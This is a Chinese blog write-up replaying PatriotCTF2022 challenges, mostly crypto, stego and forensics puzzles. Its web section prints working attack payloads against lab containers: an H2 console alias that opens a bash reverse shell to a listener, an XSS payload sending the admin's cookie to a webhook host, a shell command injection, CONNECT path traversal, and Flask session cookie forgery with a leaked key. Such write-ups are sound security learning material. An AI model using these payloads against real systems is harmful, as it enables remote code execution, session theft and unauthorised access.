[CTF]-PatriotCTF2022复现


前言

PatriotCTF2022

PatriotCTF2022是真的难复现

生肉WP啃不动

头皮发麻

web题目容器各种bug

起了容器又有各种bug


Misc

Apples

010打开是ELF文件,拖进kali

在这里插入图片描述

在这里插入图片描述

要输入密码

使用strings命令查看文件内容

$strings ./apples

//在对象文件或二进制文件中查找可打印的字符串

在这里插入图片描述

发现文件的密码

	apples

在这里插入图片描述

在这里插入图片描述

	生成 apples_reward 文件

文件里面全是base64编码

在这里插入图片描述

cat apples_reward | base64 -d > flag.txt

在这里插入图片描述

base64解码后是.jpg文件

改后缀后打开

在这里插入图片描述

在这里插入图片描述

然后是jpg隐写,使用steghide工具

$ steghide extract -sf flag.jpg
Enter passphrase: apples
wrote extracted data to "data.txt"

$ cat data.txt
pctf{@pples_tast3_amaz\!ng666}

It’s All Greek to Me

	2786 2532 4569 5221 1722 4172 490
In the Bible, every unique word has a number associated with it. This is a kind of book cipher where each number refers to a number in the Strongs' concordance of the Bible (the most common Bible concordance). By looking up the numbers in the Strongs' concordance, you get a sentence.

//在圣经中,每一个独特的词都有一个与之相关的数字。 这是一种书本密码,其中每个数字指的是强者圣经索引(最常见的圣经索引)中的一个数字。 通过查找强者索引中的数字,你会得到一个句子。
	pctf{Antioch}  

这个题目属实文化差异了


Crypto

Barry

$$=-=->;#&+%,_(*#^[|>;$$$^$^!@(*>;..(*$^$$..?(>;[]$$%),_$$[|,_>;(*[|?:>=#&>=,_?((*>;..$$|}$$@%>=>=?(?:>;<!$^+%@%>=$$@%$^>=[|>;[]$^|},_[|?(..,_(*#^?($$#&>=[|>;>;?(:{$$$^$^[|>;#^>=[|,_[|?([]$$[|$^,_[|[|$^>=@%>;+%|}>;[][][|?:>=#^#&>;<!(*+%[|?:>=@%>=>=>;[]=->;<!#&?(>=[]$^,_>=?($$(*|}..$$|}@%>==-$$<!?(>=@%>=>=?(+%>;(*[|=-$$#&>=..?:$$[|?:<!:{$$(*?([|?:,_(*!@,_?(,_:{+_>;?(?(,_@%$^>=|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@>;>;?:@%$^$$=-!@$$(*+%|}>=$^$^>;..$^>=[|?(?(?:$$!@>=,_[|<!+_$$$^,_[|[|$^>=@%$$#&#&|}@%#&>=$$!@[]$$?([|,_?(#&>=$$+%|}?:>=#&>=,_?([|?:>=[]$^$$#^?([|,_$^$^?:$$%)>=(*[|?(>=>=(*[|?:>=[]<!$^$^:{>;%),_>=@%>=#^,_(*(*,_(*#^[|>;>=(*+%

该密码用两个特殊字符替换一个字母。 可以对此进行频率分析以说服自己这一定是正确的

频率分析网站(https://www.dcode.fr/frequency-analysis)

在这里插入图片描述

虽然没分析出个什么

#decode.py

import string

ciphertext = "$$=-=->;#&+%,_(*#^[|>;$$$^$^!@(*>;..(*$^$$..?(>;[]$$%),_$$[|,_>;(*[|?:>=#&>=,_?((*>;..$$|}$$@%>=>=?(?:>;<!$^+%@%>=$$@%$^>=[|>;[]$^|},_[|?(..,_(*#^?($$#&>=[|>;>;?(:{$$$^$^[|>;#^>=[|,_[|?([]$$[|$^,_[|[|$^>=@%>;+%|}>;[][][|?:>=#^#&>;<!(*+%[|?:>=@%>=>=>;[]=->;<!#&?(>=[]$^,_>=?($$(*|}..$$|}@%>==-$$<!?(>=@%>=>=?(+%>;(*[|=-$$#&>=..?:$$[|?:<!:{$$(*?([|?:,_(*!@,_?(,_:{+_>;?(?(,_@%$^>=|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@|}>=$^$^>;..@%$^$$=-!@>;>;?:@%$^$$=-!@$$(*+%|}>=$^$^>;..$^>=[|?(?(?:$$!@>=,_[|<!+_$$$^,_[|[|$^>=@%   $$#&#&|}@%#&>=$$!@[]$$?([|,_?(#&>=$$+%|}?:>=#&>=,_?([|?:>=[]$^$$#^?([|,_$^$^?:$$%)>=(*[|?(>=>=(*[|?:>=[]<!$^$^:{>;%),_>=@%>=#^,_(*(*,_(*#^[|>;>=(*+%"

mapping = {}
chars = list(string.ascii_lowercase)
output = ""

for i in range(0, len(ciphertext), 2):
	bigram = ciphertext[i:i+2]
	if bigram not in mapping:
		mapping[bigram] = chars.pop()
	output += mapping[bigram] 

print(output)
zyyxwvutsrxzqqptxotqzonxmzluzruxtrkjwjuntxozizhjjnkxgqvhjzhqjrxmqiurnoutsnzwjrxxnfzqqrxsjrurnmzrqurrqjhxvixmmrkjswxgtvrkjhjjxmyxgwnjmqujnztiozihjyzgnjhjjnvxtryzwjokzrkgfztnrkutpunufexnnuhqjijqqxohqzypijqqxohqzypijqqxohqzypijqqxohqzypxxkhqzypztvijqqxoqjrnnkzpjurgezqurrqjhzwwihwjzpmznrunwjzvikjwjunrkjmqzsnruqqkzljtrnjjtrkjmgqqfxlujhjsuttutsrxjtv

然后用下面的揭秘网站

https://www.boxentriq.com/code-breaking/cryptogram

在这里插入图片描述

在这里插入图片描述

	PCTF{stillhaventseenthefullmoviebeginningtoend}

Base64 Times 10

Vm0wd2VHUXhTWGhXV0doVFYwZDRWRll3Wkc5V01WbDNXa1pPVlUxV2NIcFhhMXBQWVd4YWMxWnFUbGROYWtaSVdWZDRZV014VG5OWGJGcE9ZbTFvVVZacVNqUlpWMUpJVm10c2FsSnRVazlaVjNoaFlqRmtXR1JIUmxSTmJFcEpWbGR3WVZaSFNrZGpSVGxhWWxoT00xcFZXbUZqTVhCRlZXeG9hVlpzY0VsV2EyTXhVekpHVjFOdVZsSmlWR3hXVm01d1IyUnNiSEZTYlhSWFRWZFNNRnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1poWkVaT2NtSkdTbWxoZWxab1ZtMTBWMWxXV1hoalJscFlZbGhTY1ZsclpGTmxiRmw1VFZSU1ZrMXJXVEpXYlhoelZqSktWVkZZYUZkV1JWcHlWVEJhUzJOV1pITmFSMmhzWWxob2IxWnRNWGRVTWtsNVVtdGthbEpzY0ZsWmJHaFRWMFphZEdONlJsZGlSbG93VkZab2ExWlhTbFpqUldSWFRWWktTRlpxU2t0VFJsWlpXa1prYUdFeGNGaFhiRlpoWkRGS2RGSnJaRmhpVjNodlZGVm9RMkl4V1hoYVJGSnBUVlZXTkZWc2FHOVdiR1JJWVVaU1YyRXlVVEJXVjNoaFZqRldXVnBHUWxaV1JFRTE=

10base64,可以用简单脚本跑出来

flag = "insert cipher text here"for i in range(10):
    flag_bytes = flag.encode('ascii')
    base64_bytes = base64.b64decode(flag_bytes)
    flag = base64_bytes.decode('ascii')print(flag)

#pctf{0bfusc@tion_1s_n0t_3ncrypt10n}

No Postcode Envy

在这里插入图片描述

这个是邮编密码,英国皇家邮政集团的邮编

在这里插入图片描述

使用RM4SCC 格式并解码正确的部分后,您将收到消息:OHLORDE

	PCTF{OHLORDE}

The Order

在这里插入图片描述

这个是僧侣密码

下面是密码表

在这里插入图片描述

output

6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3

然后把数字转换成ASCII码

	https://onlineasciitools.com/convert-decimal-to-ascii
PCTF{Dop3_numb3r_syst3m!}

TwoFifty

n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631

在这里插入图片描述

在 RSA 中,这些因素是 pq。 这些用于查找解密密钥 d

from Crypto.Util.number import *

n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631

p = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
q = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711

phi = (p-1)*(q-1)
d = inverse(e, phi)

m = pow(c,d,n)
print(long_to_bytes(m))

# PCTF{this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck}

Forensics

Banner

在这里插入图片描述

数据包

查找http流

在这里插入图片描述

然后追踪TCP流

在这里插入图片描述

在这里插入图片描述

找到这样的一个数据流

在这里插入图片描述

设置数据格式为原始数据
然后保存到 data, 然后执行 binwalk 命令

$ binwalk data


DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
9176178       0x8C0472        Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17573585 bytes, 2603 inodes, blocksize: 131072 bytes, created: 2022-03-24 21:46:19

然后用 binwalk -e 来提取数据

$ binwalk -e data

会生成一个data.extracted目录

在这里插入图片描述

然后会生成一个迷你系统文件群

这是因为这是 TP-Link 路由器固件的文件系统

然后flag在当前目录下的 /etc/banner

$ cat /etc/banner

在这里插入图片描述

PCTF{just_at3_ch1ck3n_nugg3ts}

Bézier

基本上,我们只需要在 zip 文件夹中找到两个注册表文件的区别即可

最简单的方法是使用内置的 linux 工具 diff

在这里插入图片描述

官方wp的解释

We see SCRNSAVE.EXE"="C:\\Users\\Daniel\\Desktop\\shell.exe, which looks sketchy. In Microsoft docs, we see that this registry key “specifies the name of the screen saver executable file”. Given that this executable is named “shell.exe”, we can infer this is the method of persistence used by the hacker.
Now you just have to google MITRE Screensaver Persistence and you’ll get it.


Exfil

在这里插入图片描述

数据在 ICMP 数据包的数据部分中被输出。如果你在wireshark中打开pcap过滤,你会看到这个:data

在这里插入图片描述

数据包不正常,有点可疑。单击其中一个,您将看到如下所示的数据:no response found

我们看到的数据形式为 。如果单击它们,您会注意到第一部分是 。 表示正在发送数据

并意味着它是具有整个数据校验和的最后一个exfil数据包。第二部分是exfil数据包的序列号

第三部分是数据包的总数

data:1:39:some-hexdatachecksumdatachecksum

‎下面是一个用于抓取数据的快速脚本:

from scapy.all import *
import binascii

last_seqn = 0
result = ""

def get_payload(x):
	global last_seqn
	global result 
	
	try:
		load = x.load.decode()
	except:
		return
	
	split = load.split(":")
	exfil = split[0]
	if (exfil == 'data' or exfil == 'checksum'):
		seqn = int(split[1])
		total = int(split[2])
		data = split[3] 

		if(exfil == "checksum"):
			outf = open('out',"wb")
			for i in range(0, len(result), 2):
				outf.write(binascii.unhexlify(result[i:i+2]))
			outf.close()
			exit()
		else:
			result += data


sniff(offline='exfil.pcapng', filter="icmp", prn=get_payload)
$ cat out         
[client]
password = PCTF{n0t_4_v3ry_sn34ky_3xf1l}
port = 3306
socket = /run/mysqld/mysqld.sock
[mysqld]
port = 3306
<snip>

Flexi

在这里插入图片描述

ntds.dit

在这里插入图片描述

system

在这里插入图片描述

发现不出来什么
下载随附的 zip文件。 提取内容将提供ntds.dit` 和系统配置单元文件

使用 secretsdump.py 提取hash密码,包括包含标志的明文密码

要使用secretsdump.py插件

secretsdump.py

impacket/examples/secretsdump.py -ntds ntds.dit -system system LOCAL

在这里插入图片描述

找到了clearTEXT


Session Spy

在这里插入图片描述

默认情况下,RDP 会话将位图缓存存储在本地计算机(RDP 连接源自的)的文件夹中。您通常可以在其中找到有关某人在连接到远程计算机上的RDP会话时所执行操作的有用信息。

C:\Users\USERNAME\AppData\Local\Microsoft\Terminal Server Client\Cache

将向你提供用户文件夹的快照,该文件夹以前已通过 RDP 连接到域控制器。因此,上面的缓存目录中有一个名为 的文件 Cache0000.bin

要从此缓存中提取位图文件

请使用此工具

python .\bmc-tools.py -s Cache -d out -b
[+++] Processing a directory...
[===] 2936 tiles successfully extracted in the end.
[===] Successfully exported 2936 files.
[===] Successfully exported collage file.

最后一个文件是这个Cache0000.bin_collage.bmp

在这里插入图片描述

如果放大中间顶部,可以看到一个正在运行的powershell窗口打开

在这里插入图片描述

flag是用户名

svc_admin

flag{svc_admin}

Web

Boot_it_and_root_it

打开题目
在这里插入图片描述

点什么东西都没反应

扫目录试试

PS D:\NB\NBtool\dirsearch\dirsearch> py .\dirsearch.py -u "http://192.168.92.128:8080/"

  _|. _ _  _  _  _ _|_    v0.4.2.4
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11306

Output File: D:\NB\NBtool\dirsearch\dirsearch\reports\192.168.92.128_8080\__22-05-22_17-04-51.txt

Target: http://192.168.92.128:8080/

[17:04:51] Starting:
[17:04:57] 200 -   11KB - /;admin/
[17:04:57] 200 -   11KB - /;json/
[17:04:57] 200 -   11KB - /;login/
[17:04:57] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[17:04:57] 400 -  435B  - /a%5c.aspx
[17:05:16] 500 -   73B  - /error
[17:05:16] 500 -   73B  - /error/

Task Completed

没有啥东西

看了wp之后才发现是 H2数据库的问题

进入 /h2-console 目录

在这里插入图片描述

随便输入密码点击连接

是一个Sql后端平台

随便输入什么就报错,然后这其实是一个RCE 反弹shell

payload

CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;

CALL EXECMD('bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.92.128/9999 0>&1');

在这里插入图片描述

监听端口

$ nc -lvp 9999

在这里插入图片描述

拿到shell,找flag
/home/.someuser/.../ 目录下有个shadow文件

$ cd /home/.someuser/...
$ cat shadow

在这里插入图片描述

然后暴力破解shadow文件

得到密码登录

flag在root用户中

在这里插入图片描述


Chewy or Crunchy

在这里插入图片描述

随便注册一个账户

在这里插入图片描述

然后登陆

在这里插入图片描述

发现只有一个提交参数的页面

尝试xss攻击

<script>alert("xss")</script>

在这里插入图片描述

发现 .>{}被过滤了

尝试其他方法

<svg onload=alert("xss")//

在这里插入图片描述

发现可以发送

然后查看自己的信息

在这里插入图片描述

发现可以构成xss攻击

然后使用https://webhook.site/ 这个网站构造payload,因为有个点所以用16进制转换

46.4.105.116 ---> http://0x2e046974

所以构造网址

http://0x2e046974/50917c4a-3402-492f-a3ac-5e4f8a1eef97

payload

<svg onload=document['location']="http://0x2e046974/50917c4a-3402-492f-a3ac-5e4f8a1eef97/?c="+document['cookie']//

然后将这个payload发送给admin用户

在这里插入图片描述

发送之后,在页面得到session

在这里插入图片描述

session=.eJwlzj0OwjAMQOG7ZGaInSaxe5nKvwKJqRET4u4UMb7pfe9y5BnrXvaU54pbOR5e9pIYBGOKVgo3wEmOtnUYDORs0TjRRaJnnyQtBrK4WVpvigltxIyxTQ6pfWMFSZ6eQL9Az6lIlbmrXZcW2kkHeMYwwlDFWi7Ia8X510D5fAFFYzCb.YooIFg.e1ujGDbkJr5rJiKN142ZfO1w4wU

让我们将其设置为会话 Cookie 值

在这里插入图片描述

在这里插入图片描述

成功进入admin账户,进入Admin Panel

在这里插入图片描述


Curly Fry

工具:fuff

$ ffuf -w /path/to/wordlist -u https://target/FUZZ

在这里插入图片描述

I will release my secret curly fry recipe when I am ready. For now it is safely held in my /root directory

准备好后,我会发布我的秘密卷饼食谱。 现在它安全地保存在我的 /root 目录中

进入 /root 目录

在这里插入图片描述

我们知道flag在目录中,但我们不知道文件名。我们可爆破目录

这个:/root

但是,当使用 CONNECT 方法时,不会发生这种情况

因此,如果您需要访问某些受保护的资源,则可以滥用此技巧:

curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag 
┌──(root㉿kali)-[~/…/CTF/Tools/Web/ffuf]
└─# ./ffuf -w ./space.txt -u http://192.168.92.128/../../../../../../../root/FUZZ -e .txt -X CONNECT -c -fs 50


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : CONNECT
 :: URL              : http://192.168.92.128/../../../../../../../root/FUZZ
 :: Wordlist         : FUZZ: ./space.txt
 :: Extensions       : .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 50
________________________________________________

recipe                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
recipe.txt              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
:: Progress: [2/2] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

过滤掉响应大小为 50 的所有响应。

如果你在没有过滤器的情况下进行fuzz测试,你将看到一个对于每次fuzz,

这只是默认的Web服务器响应:因此,我们过滤掉这些响应

-fs 50Status: 200, Size: 50The path provided is not a file or does not exist.

然后看到一个hit

继续用 curl 来读取文件

┌──(root㉿kali)-[~/…/PatriotCTF2022-Public-main/Web/Curly Fry/CurlyFry]
└─# curl --path-as-is -X CONNECT http://localhost/../../../../../../../root/recipe.txt
Ingredients: for 2 servings
- 2 curly potatoes
- 2 tablespoons of old bay seasoning
- ketchup and malt vinegar

Preparation
1. Preheat oven to 420°F
2. Slice the potatoes with a knife as they are already curly to begin with
3. Put your seasoning on em
4. Just throw them into the oven
5. Bake until they look good, idk.
6. Put ketchup on a plate and stir in a little malt vinegar
7. Enjoy!
8. Get flag: PCTF{tru5t_m3_im_4_ch3f}

InspectorClouseau

在这里插入图片描述

查看网页源码

	<!DOCTYPE html>
	<html>
	<head>
	<title>Inspector Clouseau</title>
	</head>
	<body>
	<p>It is lovely weather we are having *wink*</p>
	<!-- PCTF{i_w0u1d_1ik3_t0_buy_4_h4mburg3r} -->
	<img src="https://c.tenor.com/eArRyUt12M8AAAAC/pink-panther.gif">
	</body>
	</html>

Locked

在这里插入图片描述

dirsearch 扫目录

┌──(root㉿kali)-[~/.config/clash]
└─# dirsearch -u "127.0.0.1:80"          

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/80_22-05-26_21-42-43.txt

Error Log: /root/.dirsearch/logs/errors-22-05-26_21-42-43.log

Target: http://127.0.0.1:80/

[21:42:43] Starting: 
[21:42:50] 301 -  169B  - /admin  ->  http://127.0.0.1/admin/
[21:42:50] 200 -  299B  - /admin/
[21:42:50] 200 -  299B  - /admin/?/login
[21:42:50] 200 -  299B  - /admin/index.html
[21:43:03] 200 -  114B  - /index.html
[21:43:13] 200 -   68B  - /robots.txt

Task Completed

发现有几个目录

	/admin
	/robots.txt

进入 /admin 目录

在这里插入图片描述

没什么重要信息

进入 /robots.txt

HAHAHAHAHA, you'll have to try harder than that to get the flag >:)

也没有发现什么

再扫 /admin 子目录

┌──(root㉿kali)-[~/.config/clash]
└─# dirsearch -u "127.0.0.1:80/admin"

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/80-admin_22-05-26_21-50-09.txt

Error Log: /root/.dirsearch/logs/errors-22-05-26_21-50-09.log

Target: http://127.0.0.1:80/admin/

[21:50:09] Starting: 
[21:50:31] 200 -  299B  - /admin/index.html
[21:50:33] 200 -    1KB - /admin/main.js

Task Completed

发现 /admin/main.js 文件

访问路径 是一段js 代码

在这里插入图片描述

有一段base64

VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09

解码得到

/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txt

访问 路径

在这里插入图片描述

访问 url

在这里插入图片描述


Not So Secret

SSTI 模板注入

随便注册一个账户登录

在这里插入图片描述

在这里插入图片描述

输入内容是

	{{7*7}}

回显是49

ssti注入

随便输入ssti注入命令

''.__class__.__base__.__subclasses__()

在这里插入图片描述

Hey. No funny business. These characters are not allowed: ._[]|\<>;

过滤了

._[]|\<>

然后查看配置

{{config}}

在这里插入图片描述

在这里插入图片描述

其中看到 SECTRET_KEY

'SECRET_KEY': 'FPpWMXbLgimHVQangSEsjInWUrHYzw'

如果我们有应用程序的密钥,我们可以签署应用程序使用的会话 cookie

接下来使用 flask-unsing 工具

pip3 install flask-unsign

我们首先解码 cookie,以便我们知道格式。 使用 Firefox 扩展 cookie editor

在这里插入图片描述

.eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsv3B3oyLwQ.YpB4-A.6nE-vv6QnchN3G58HwQGOO6BUwc
┌──(root㉿kali)-[/media/…/PatriotCTF2022-Public-main/Web/Not So Secret/NotSoSecret]
└─# flask-unsign --decode --cookie ".eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsv3B3oyLwQ.YpB4-A.6nE-vv6QnchN3G58HwQGOO6BUwc"
{'_fresh': True, '_id': '524947460f0b32997b4b2a09fe2cce84c71cfd72526683113e96b1c0ae56191fe13d0a92da0a85b12dbca45535d78dca89a9ec5b65a92887276163d1cc2e0fbd', '_user_id': '2'}

看到 '_user_id' 的值 是 2

我们可以假设 admin 用户的 '_user_id'1

然后制造cookie

 ┌──(root㉿kali)-[/media/…/PatriotCTF2022-Public-main/Web/Not So Secret/NotSoSecret]
└─# flask-unsign --sign --cookie "{'_fresh': True, '_id': '524947460f0b32997b4b2a09fe2cce84c71cfd72526683113e96b1c0ae56191fe13d0a92da0a85b12dbca45535d78dca89a9ec5b65a92887276163d1cc2e0fbd', '_user_id': '1'}" --secret "FPpWMXbLgimHVQangSEsjInWUrHYzw"
.eJwlzjsOwjAMANC7ZGaIndiJe5nKvwjWlk6Iu1OJ_Q3vU_Z15Pks2_u48lH2V5StEHbpo3Nd1RqKDOuGWmUluufsPsBXDCRkng2gpbCBV01iEFgJLaoKhladZIBhrp2oUYwZrlNU0smYbjTnwMHALcAdsy6LckeuM4__Bsr3B3ovLwM.YpB9MQ.MMHCHtuRZHyppcJ0suBblAb0UnA                                                  

最后一步是将我们的会话 cookie 值更改为我们刚刚获得的值,然后重新加载网页。 我们应该是管理员并且可以访问管理面板:

在这里插入图片描述

在这里插入图片描述


spongebob

在这里插入图片描述

输入 ls

在这里插入图片描述

发现变成大写的了

<?php
$text = $_POST['text'];
$command = "python3.9 memetext.py \"$text\"";
$out = shell_exec($command);
echo $out;
?>

看到源码是这个

利用一个memetext.py 来转换字符串的大小写

然后想办法闭合这个语句

payload

text=";ls;"

在这里插入图片描述

可以看到有个 flag.jpg

然后访问这个文件

/flag-as98dc6rnv3p948r7asp98fdynp.jpg

在这里插入图片描述


Rock and Roll

在这里插入图片描述

打开连接就跳转到了

你被骗了

burp抓包

在这里插入图片描述

得到 flag


总结

PatriotCTF2022复现了好长时间

首次接触国外的CTF

发现和国内的CTF 有很大区别

更多的是单纯的考知识点,很深的知识点

有些题目也复现不出来

还要继续学习


  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值